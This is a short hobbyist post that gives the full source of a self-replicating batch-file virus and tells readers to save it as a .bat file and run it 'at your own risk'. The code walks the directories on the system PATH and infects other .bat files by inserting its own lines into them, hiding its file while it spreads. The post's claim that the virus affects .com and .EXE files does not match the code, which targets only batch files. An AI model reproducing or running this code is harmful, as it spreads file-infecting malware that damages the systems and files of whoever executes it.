VIRUS

A simple VIRUS code is here: Just save the following code as .bat extension in notepad. The antivirus will detect it as virus. see for yourself.

its a sample Virus for Educational purposes. One may alter it, modify it or distribute it (Obviously in non Infect able form) for the sake of Computer Education and Curiosity.

It will affect *.com and *.EXE files .It will multiply itself and may get more dangerous when altered.

@echo off>nul.ViRuS

if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply

if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop

if "%1=="/ViRuS_FINDSELF goto ViRuS_findself

if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0

if not exist %0.bat call %0 /ViRuS_FINDSELF %path%

if not exist %ViRuSname%.bat set ViRuSname=

if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active

rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)

rem ViRuS also if batch was only in an append /x:on path (chance=minimal)

attrib +h %ViRuSname%.bat

for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a

attrib -h %ViRuSname%.bat

set ViRuSname=

goto ViRuS_OLDBAT

:ViRuS_findself

if "%2==" goto XXX_END>nul.ViRuS

if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%

if exist %ViRuSname%.bat goto XXX_END

if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%

if exist %ViRuSname%.bat goto XXX_END

shift>nul.ViRuS

goto ViRuS_findself

:ViRuS_outer_loop

for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a

goto XXX_END>nul.ViRuS

:ViRuS_multiply

find "ViRuS" <%ViRuSname%.bat >xViRuSx.bat

find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat

echo :XXX_END>>xViRuSx.bat

copy xViRuSx.bat %2>nul

del xViRuSx.bat

goto XXX_END>nul.ViRuS

:ViRuS_OLDBAT

echo on>nul.ViRuS

echo This is the dummy Virus Created By zain(hacker's arena)

:XXX_END

try it at your own risk m not responsible for any damage to your pc's